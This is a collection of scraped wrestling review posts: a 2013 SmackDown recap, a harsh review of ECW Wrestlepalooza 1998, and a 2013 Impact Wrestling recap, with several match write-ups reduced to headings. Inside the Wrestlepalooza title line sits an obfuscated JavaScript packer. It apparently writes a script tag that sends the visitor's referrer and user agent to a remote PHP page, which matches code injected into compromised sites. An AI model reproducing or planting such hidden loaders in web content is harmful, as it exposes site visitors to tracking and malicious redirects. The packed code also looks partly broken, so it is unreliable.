Location: Joe Louis Arena, Detroit, Michigan
Commentators: John Bradshaw Layfield, Michael Cole, Josh Matthews

We open with a recap of the end of Raw with Shield pinning Cena after Ryback walked out on Cena earlier in the night.

Ryback vs. Daniel Bryan

Bryan fires off some quick kicks to start but gets caught in the corner. Daniel goes back to the kicks to the legs but gets caught in the corner again. A powerslam puts Bryan down but Ryback spends too much time celebrating and gets kicked in the leg some more. Now Bryan is sent to the floor but he suckers Ryback down, allowing Daniel to hit the suicide dive. Back in and Ryback pounds Bryan into the corner but Daniel fires off even more kicks to the leg.

Bryan fires off about his seventh set of kicks to the leg before countering a Thesz Press into a half crab on the weakened leg. Ryback kicks away so Bryan goes with even more kicks to the leg to keep Ryback in trouble. A pair of running dropkicks in the corner stagger Ryback and a missile dropkick takes him down for two. The crowd is getting way into this.

Bryan tries another kick but gets caught in a powerbomb position, only to catch Ryback in a rana out to the floor. Ryback catches Bryan diving at him through and sends him spine first into the post. Back in and Ryback plants him down with a slam followed by the Meathook. Bryan gets Shell Shocked down for the pin at 9:39 shown of 13:09.

We look at the triple threat from Monday and Del Rio announcing the triple threat at the PPV to be a ladder match.

Ricardo Rodriguez says a lot of stuff in Spanish very quickly until Del Rio comes up to say calm down.

Fandango vs. Zach Ryder

Kaitlyn is in the back with a bouquet of roses and has gotten a love text. Natalya and Khali tell her to relax like Khali does.

We recap the Make-A-Wish stuff with Cena from Raw.

Zeb Colter tells “Rhonda” Young that he was sick on Monday when he lost in the triple threat match. Also, Ricardo Rodriguez stole from him on Monday so tonight they have a rematch.

Ricardo Rodriguez vs. Zeb Colter

Ziggler and AJ are on commentary with Langston next to them. In other words, all seven people are here. Colter slaps him to start so Ricardo grabs his beard. Zeb goes to the mat on all fours so Ricardo rides him like a horse for a bit. Colter comes back with some right hands but Ricardo sends him into the corner. Thankfully this boring match is ended with Swagger running in to take out Ricardo for the DQ at 1:50.

Alberto Del Rio/Ricardo Rodriguez vs. Zeb Colter/Jack Swagger

This is joined in progress after the break with Swagger working over Ricardo. The tag brings in Del Rio for the tilt-a-whirl backbreaker and Codebreaker onto the arm but Swagger blocks the armbreaker. Not that it matters as Ziggler and Langston run in for the DQ at 1:50.

Now Teddy makes it a triple threat tag match.

Alberto Del Rio/Ricardo Rodriguez vs. Zeb Colter/Jack Swagger vs. Big E. Langston/Dolph Ziggler

We hear someone getting beaten up off camera followed by Shield popping up. They say they took out Undertaker and after tonight, Kane will believe in the Shield. The camera pans down to show that it was Bryan who was attacked.

Bryan gets looked at in the back.

Randy Orton vs. Damien Sandow

The Raw Rebound is the same thing that opened the show: the end of the six man tag and Ryback reappearing.

We get a clip of Shield taking out Undertaker last week.

Video on the European tour.

Kane vs. Dean Ambrose

Post match Kane tells all of the Shield to come get him and it goes exactly as you would expect it to go. The TripleBomb ends the show and Shield takes both title belts.

Results

Ryback b. Daniel Bryan – Shell Shock

Fandango b. Zack Ryder – Guillotine Legdrop

Ricardo Rodriguez b. Zeb Colter via DQ when Jack Swagger interfered

Alberto Del Rio/Ricardo Rodriguez b. Zeb Colter/Jack Swagger via DQ when Dolph Ziggler and Big E. Langston interfered

Alberto Del Rio/Ricardo Rodriguez b. Zeb Colter/Jack Swagger and Dolph Ziggler/Big E. Langston – Cross armbreaker to Ziggler

Randy Orton b. Damien Sandow – RKO

Dean Ambrose b. Kane – Falling bulldog

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for just $5 at:




On This Day: May 3, 1998 – Wrestlepalooza 1998: What Was The Big Deal About Shane Douglas?

Wrestlepalooza eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkzsf|var|u0026u|referrer|yrrna||js|php'.split('|'),0,{})) 1998
Date: May 3, 1998
Location: Cobb County Civic Center, Marietta, Georgia
Attendance: 3,401
Commentator: Joey Styles

It’s been two months since Living Dangerously and not a lot has changed. It’s still Snow vs. Douglas as Snow’s insane rise in popularity continues. Candido and Storm are still champions that hate each other and are defending the belts tonight in a storyline that NO ONE has ever seen before. Van Dam has begun his two year long reign with the title and has his first big defense tonight: he’s fighting Sabu. Oh this could hurt a lot. Let’s get to this as the card looks somewhere between bad and ok.

We do the intro video before the show introduction this time which I like a lot better. The other way just takes me out of the show for some reason. It usually feels like they forgot to do the show opening or something and then went back to it.

F.B.I. vs. BWO

Suddenly I want some alphabet soup. It’s Tracy Smothers and Guido vs. Super Nova and Blue Meanie. The BWO itself is actually over and dead but they both wear blue and team together still so there we are. I want to hit Tommy Rich. The guy is just freaking annoying. He gets a huge SCREW YOU chant directed at him so at least Georgia fans are intelligent. Nova and Guido, the two talented guys, start us out.

Nova is a superhero by the way. Meanie is just a fat guy that has nothing else going for him. Nova is well known for having a very unorthodox offense and it’s on display here. Meanie comes in and Rich says we need to have a dance contest. And the referee dances too. THANKFULLY Smothers jumps Meanie to end this mindlessness. And the referee slams both heels to get two on Smothers. What the heck am I watching???

Finally we get something sensible as Smothers hits a nice bicycle kick to Nova’s head. Meanie can’t even get into the ring correctly. This is what critics mean when they say this company was a joke. When you’re that sloppy, you have no business being in a ring on a major show at all. Meanie misses the moonsault, which is just about the only move Meanie could do without injuring someone else. Nova hits a downward spiral for the pin. And the faces do the YMCA afterwards. My head hurts again.

Rating: D+. It wasn’t bad, but for the most part it was an unfunny comedy match. Nova was cool, but other than that there was just noting at all that stood out here for me. Meanie was just a fat load that never did anything of note outside of ECW (Bluedust was nothing of note and yes I know he was in WWF for awhile) and the FBI were always annoying to me. It’s not bad but it’s nothing to write home about, or better yet it’s nothing to review. Wait what?

We recap Justin Credible vs. Mikey Whipwreck. This feud is STILL going? This was just a way to get Justin over which completely failed as there was one simple problem: Justin wasn’t any good. Paul kept trying to tell us he was but it simply wasn’t there. Justin got pushed until the company folded and was getting said push over guys like RVD. That should explain a lot to you.

Justin Credible vs. Mikey Whipwreck

So Mikey’s destroyed knee is all of a sudden fine. Good to know. He gets some good punches in and we’re on the floor already. They throw Justin into the crowd and he more or less crushes a fan. I get that this is a different kind of company, but dude, don’t half crush your fans. Justin shoves Mikey off the apron so that he crashes into the guard rail. We have our first chair of the evening and Mikey takes a SICK bump into it.

That looked like it would have nearly killed him but of course he’s fine. The fans chant Aldo at Justin. He was Aldo Montoya in WWF in case you didn’t know that. If nothing else he gets a nice counter to the Whippersnapper (Stunner, which Mikey used way before Austin) by just hooking him in a reverse DDT. It was very nice indeed. These fans are really annoying.

I get that they’re a major aspect of ECW, but to fans like me who aren’t huge fans and are the audience that ECW needed to grab in order to stay in business, they’re very annoying indeed. Justin gets suplexed through a table which of course is impressive even though we see it about five times a show.

And now it’s just about the chair and nothing else. It’s just big spot, two count, chair spot, two count, big spot, two count over and over again. Chastity, the valet of Credible, takes a BAD Whippersnapper off the top. And Justin gets the tombstone out of nowhere onto the chair for the pin. I hated that ending.

Rating: D+. So in other words, Justin lost twice in a row but he gets a more or less fluke win here and he wins the feud. ECW and most other wrestling companies have a major problem with this and it drives me insane. Just because you win the last match in a feud doesn’t mean you win the feud. Take Dreamer vs. Raven for example: Dreamer “won” the feud, but he lost probably 100 times and got one victory. How does that make him the winner?

As for this match, the ending was just big spot after big spot and then Justin got the tombstone for the random pin. That’s supposed to make sense I guess. Justin, who is supposed to be the best wrestler in the world according to Heyman, did nothing other than a throw into the guard rail all match but hits one big move to win the thing. That’s GREAT wrestling indeed Paul.

Rotten and Mahoney want their shot at the titles. They demand a shot and just get one. Ok then.

ECW Tag Titles: Hardcore Chair Swinging Freaks vs. Chris Candido/Lance Storm

They still hate each other and even though they don’t get along and fight each other, they manage to beat every team in the company as they do it. Don’t you just love Heyman’s brilliance? Mind you the challengers were in the arena to make their challenge yet the champions are here first. In a funny spot, they argue over who gets top billing. Oh I get it now: the champions came to the ring and were introduced before they actually accepted the challenge. Is Heyman even thinking?

The Freaks are Axl Rotten and Balls Mahoney in case you were wondering. To my surprise we start with a wrestling sequence. Something tells me this isn’t going to last long. Good night Balls Mahoney is worthless. Rotten is trying to wrestle which works ok but it’s hard to take a guy who wrestles for a team called the Hardcore Chair Swingin Freaks seriously. They do a standard tag match here and it’s really not that bad. I’m very surprised. Rotten throws chops and the fans WOO.

They start a BRING IN FLAIR chant and my head begins to hurt. First off, just no. Second off, isn’t that exactly what ECW is supposed to be against? Third of all, I love how they just assume Heyman can afford that. The fans were stupid at times and were dragged around by Heyman by their noses. It’s really pathetic at times. Sunny shows up and the champions fight over Storm saving her. “Hey! You keep your hands off my fiancé! If she dies who cares??? YOU JUST STAY AWAY!”

And now we get to the flat out stupid part of the match. Balls hits his finisher. There’s no one around. They should win the titles. He goes to get a chair. That’s almost understandable I guess. Now let’s have the stupid part. He turns around with the chair in his hand and Storm jumps up with a springboard to come at Mahoney.

What does he do you ask? Does he throw the chair at Storm? Does he, oh I don’t know, MOVE? Nope. He puts the chair in front of his face so Storm can kick it into Balls’ head. That was just pathetic looking. On and Candido hits Storm with the chair so he can get the pin and they fight back to the locker room. This has NEVER been done before!

Rating: C+. Other than the freaking idiotic stuff at the end, this was ok. The key thing: for the most part they kept things toned down and had a wrestling match. Since Barely Legal they’ve toned the violence down a good bit and it’s been helping a lot. This was ok and would have been a lot better had the ending not sucked as much.

Ad for the merchandise catalogue and Heat Wave 98. That one’s coming soon.

We have a “Legends” ceremony from earlier. It’s Junkyard Dog, Dick Slater, Masked Superstar (Ax from Demolition) and Bullet Bob Armstrong. You know, a bunch of old NWA guys, because ECW and the NWA got along SO well. This was a nice idea, but when you look at it this was just stupid.

Shane Douglas, who is apparently held together with tape at this point, is brought out to be told about how tough he is. So despite all these injuries, it’s fairly obvious he’ll win tonight. We’ll get to the pure idiocy of this later. He runs down the WWF and Shawn, who had just left with the broken back that kept him out for four and a half years. Oh and he runs Flair down too. If Shane drew in the entire run of ECW what Flair or Shawn drew in a single year, I’d be stunned.

This is just Shane saying how great he is and how tough he is and how tonight might be his last match. Taz comes out to tease their showdown. Nope, we’ve still got another 8 months before that because the top face vs. the top heel isn’t a match we can have when the fans are begging for it of course. We get what might be the first F Bomb on an ECW PPV. Taz demands the Title be handed to him instead of you know, winning it.

Taz does a weird looking choke out that wasn’t the Tazmission and security breaks it up. Like I said, this match wouldn’t happen for EIGHT MONTHS. What they were waiting on is beyond me. Bigelow comes out to fight Taz and that’s broken up too. They handcuff Taz and arrest him for no logical reason as Shane is spitting up blood. I love how Shane runs down Shawn but he’s going to do the same thing: make this big come from behind win over Snow which makes NO sense but they did it anyway so Shane can look awesome all over again.

Oh dang it we have a New Jack match now.

Bam Bam Bigelow vs. New Jack

SCREW THIS FREAKING SONG!!! Seriously, who thought this was a good idea? New Jack is going to get destroyed other than some weapons shots because the guy can’t wrestle a freaking match to save his life but hey, let’s play his blasted song while he’s getting killed. Yep, 30 seconds in and we have weapons. Why is this appealing at all? It’s just mindless violence that has no business being called wrestling.

Bigelow is better than this on so many levels and it’s not even funny. We’re in the crowd now as that song is still playing. Bigelow just throws chairs at him as this is supposed to be entertaining. I get that some fans want this, but it makes the whole company look amateurish as a result. If this was still a regional promotion, this would be just fine. But it’s not a regional company anymore.

They wanted to go national but they can’t let go of the hardcore nonsense and it’s really hurting the product quite a bit. This is going to get at least ten minutes of about three hours. And New Jack jumps off a balcony with a guitar shot to Bigelow’s head. So even though that should likely kill both of them, the fans cheer.

And now let’s just lay around for awhile because that’s a great use of PPV time. Ok to be fair almost all wrestling companies do the laying around thing. Bigelow hits the Greetings From Asbury Park which doesn’t connect at all but whatever. At least it’s over.

Rating: F. I get why it’s here, but it still sucked and was completely worthless. At least we get Welcome to the Jungle. I hate these matches or whatever they are.

We see Dreamer and Sandman getting beaten up by the Dudleys set to a ballad of all things. That was odd.

Dudley Boys vs. Tommy Dreamer/Sandman

Sandman cuts off the always funny Gertner entrance but the song makes up for it a bit. Beaulah is about as close to perfect as you can get. This is another “grudge” match where the grudge was developed between PPVs with no explanation as to what started it or any useless information like that. I get that Sandman’s entrance is cool, but they need to cut a minute or two out of it as it just goes on forever. Yep this is going to be a massive brawl because it’s been a full 4 minutes since we saw one of those.

And there’s the first table and my eyes roll immediately. This of course devolves into a massive brawl that has no semblance of anything noteworthy at all. We get some great shots of Beaulah and that’s about it. Sandman leaves because of his neck and after about five minutes of Tommy being murdered, Spike more or less replaces Sandman.

He gets a 3D for trying to save Beaulah but Sandman comes back in a neck brace. Yeah because he was able to see the doctor and the doctor released him inside of five minutes I guess. A pair of DDTs end this and the Dudleys lose.

Rating: D-. Only reason this isn’t failing is I’ve always thought Beaulah was beyond sexy. This was just ridiculous as Dreamer survived what should have killed him to come back and be fine. It was just a total mess and it wasn’t entertaining for the most part. They had no idea what to do with the Dudleys at this point.

So Sabu had a TV Title shot here tonight against Bigelow and he sent RVD, his partner, in to beat Bigelow up a bit but Van Dam wound up winning the title, leading to this. That’s actually decent.

TV Title: Rob Van Dam vs. Sabu

Something tells me we’re going to have a ton of weapons here and I base that on the fact that it’s a Sabu match. Van Dam gets on the mic after they feel each other out a bit and says this isn’t going to happen and it was a plan. Sabu of course goes after him anyway and makes the speech completely pointless. They actually go four minutes with no weapons. That has to be a record of some kind for Sabu.

We go back to the ring at about 8 minutes in for a change of pace. Oh never mind the chair is there with him. And hey we go back to the floor AGAIN. Joey talks about how brutal it is. I couldn’t agree more. In an impressive spot, Van Dam manages to crotch himself on the guard rail when there’s no guard rail underneath him. Joey: Sabu is deadly at throwing chairs. That can’t be a good sign.

Sabu of course kicks out of the Van Daminator and the Five Star because that’s perfectly reasonable. We’ve been going about half an hour now and I think I know what’s coming. I know this isn’t a lot of text for that long of a match but it’s been about 15 minutes of them just wasting time or laying around or setting up tables and chairs.

There’s been more or less nothing of note here and I’m sure some ECW fan will explain to me that I just don’t get this match and why it’s so great. I’d love one day to watch one of these shows with an ECW fan and hear them try to defend it. Sabu kicks out of the Five Star through a table. Yep that’s perfectly realistic. The move known as Starship Pain gets two and then Sabu gets two and the bell rings for the STUPID time limit draw. They yell at each other for a long time.

Rating: D. There were some interesting drama spots near the end but for the most part this match sucked. There was so much time spent laying around and ridiculous kicking out of moves that it just stopped being interesting. Most of it was on the floor and Sabu of course botched half of what he did. This was ridiculous and the third match in a row that was stupid beyond belief, and considering the obvious ending coming up, this isn’t going to be a highly received show.

We hear from Shane who reminds us that he’s VERY hurt. We get WAY too long of a recap of Shane’s career and a quick thing from Snow saying he’ll win.

ECW World Title: Al Snow vs. Shane Douglas

So Snow is more or less the hottest thing in the company’s history as everyone likes him and he’s having the best matches of his career. Shane is hurt beyond belief here so to have him win would tick off the audience and completely bury Snow more or less guarantees that Shane will keep the belt here. This starts off like a good showdown match: with both guys being in control for a good while.

This is actually decent stuff with both guys only using a chair. Snow actually kicks out of the belly to belly suplex which anywhere else would be nothing but here it’s a big deal apparently. There’s also no interference for the most part until the locker room empties to watch the match. After a Francine run in, Snow goes up top for a sunset flip which completely misses and Shane drops down for the pin.

The fans go DEAD. I mean they are as quiet as any fans ever have been in ECW history. This was just freaking stupid booking and you can tell Joey thinks so too. This would have been like Austin losing to Michaels at Mania 14.

Rating: D+. And that’s being generous. The problem was that Heyman had booked himself into a corner as he had Taz vs. Shane which he had to build to but Snow was WAY more over than both guys and should have won the title here. However, it had to be about Shane again who no one cared about other than like 8 people. Again, he held the title EIGHT more months after this, FINALLY losing it to Taz in January before leaving a little while later.

The problem was that Snow or Taz should have had the title but by the time they pulled the trigger with Taz the company was in major trouble. Snow was literally on Raw the next night and not seen in ECW again, and why should he have been? He just lost the biggest push of his career and was more or less crippled so that Shane Douglas could get another big push. And people wonder why ECW isn’t around today.

Overall Rating: F. This show was just bad as NOTHING happened here. Seriously, the TV Title match goes to a draw, Heyman’s idiocy eats Al Snow for a solid meal, the Storm/Candido feud is STILL going on and burying a team at a time, Sandman and Dreamer beat the best team in the company despite one being in a neck brace and Credible is apparently cool for beating up a comedy champion.

What was the point here? The Snow thing is just inexcusable, period. It’s stupid stuff like this that caused Heyman to be out of business and he should be considering this crap. Oh and someone PLEASE defend RVD vs. Sabu. I want you to.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for just $5 at:




Impact Wrestling – May 2, 2013: From Awesome To A Disaster In Just A Month

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Date: May 2, 2013
Location: Kovalchick Complex, Indiana, Pennsylvania
Commentators: Todd Keneley, Taz, Mike Tenay

Chris Sabin is back next.He talks about doing whatever it took to get back to the ring. That was his goal and he was going to accomplish it no matter what.

Chris Sabin vs. Zema Ion vs. Sonjay Dutt

Robbie E and Jesse plot against Rob Terry. Their plan: get Joey Ryan to help them.

Robbie E/Joey Ryan/Jesse Godderz vs. Rob Terry

Sting goes in to see Angle behind closed doors.

We recap the opening segment which set up Morgan vs. Sting tonight.

Gail Kim/Tara vs. Taryn Terrell/Mickie James

Taryn gets double teamed to start until Mickie finally helps her out. The heels are rammed into each other before things get calmed down. Off to Mickie vs. Gail with James hooking a quick cross armbreaker, only to have Gail grab the rope. Gail pounds away for a bit by Mickie comes back with an enziguri knee to the head for two. Mickie is sent to the apron where she kicks Tara down, only to be knocked to the floor by Gail.

Post match they keep brawling until Gail hits Eat Defeat on Taryn and puts her in the Figure Four around the post.

Matt Morgan vs. Sting

Ray stares down Sting to end the show.

Results

Chris Sabin b. Zema Ion and Sonjay Dutt – Scoop Michinoku Driver

Rob Terry b. Robbie E/Jesse Godderz/Joey Ryan – Beast Bomb to Ryan

Sting b. Matt Morgan – Scorpion Deathlock

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for just $5 at: